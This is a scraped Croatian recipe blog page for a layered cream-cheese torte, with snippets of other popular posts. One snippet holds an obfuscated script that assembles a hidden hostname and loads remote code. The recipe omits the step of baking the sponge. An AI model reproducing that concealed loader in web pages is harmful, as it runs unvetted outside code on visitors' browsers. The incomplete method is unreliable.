KREMASTA TORTA OD SVJEŽEGA SIRA 🍰






Kremasta torta od svježeg sira 



Ova kremasta torta od svježeg sira samo je jedna od varijacija na temu cheesecake. U Americi navodno svaki grad ima neku svoju varijaciju ove izuzetno popularne slastice, a razlikuju se visinom, veličinom, ponekim sastojkom ili vrstom sira koja se koristi. Ukrasite ju čokoladnim čipsom i šećerom u prahu.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Kremasta torta od svježeg sira 


Sastojci:

za biskvit:

  • 130 g omekšalog maslaca
  • 280 g šećera
  • 2 jaja
  • istrugane sjemenke 1/2 štapića vanilije
  • 2 žlice kakaa za kolače
  • malo soli
  • 250 g brašna
  • 1 žlica škrobnog brašna (Gustina)
  • 2 žličice praška za pecivo
  • 250 ml mlaćenice

za kremu:

  • 800 g punomasnog svježeg sira
  • 300 g maslaca
  • 200 g šećera
  • istrugane sjemenke preostale
  • polovice štapića vanilije

za dekoraciju:

  • čokoladni čips
  • šećer u prahu

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Priprema:

Pećnicu zagrijte na 180 C. Pjenasto izradite maslac sa šećerom, umiksajte jedno po jedno jaje pa dodajte istrugane sjemenke vanilije i pola žličice soli. Posebno pomiješajte suhe sastojke, brašno, kakao za kolače, Gustin i prašak za pecivo, pa ih naizmjence s mlaćenicom umiješajte u smjesu.

 Svježi sir za kremu kremasto izmiksajte s maslacem, šećerom i sjemenkama preostalog pola štapića vanilije. Hladne biskvite vodoravno prerežite rezačem za tortu, da dobijete četiri lista. Na tanjur ili tacnu po vašoj želji stavite prvi list biskvita, pa oko njega stavite opran obruč kalupa za tortu. Premažite ga petinom kreme, kao i ostale listove koje posložite jedan na drugi. Na kraju uklonite obruč kalupa i premažite tortu ostatkom kreme. Tortu ostavite u hladnjaku najmanje četiri sata, da se stisne. Dekorirajte je čokoladnim čipsom i šećerom u prahu.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Kremasta torta od svježeg sira

Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više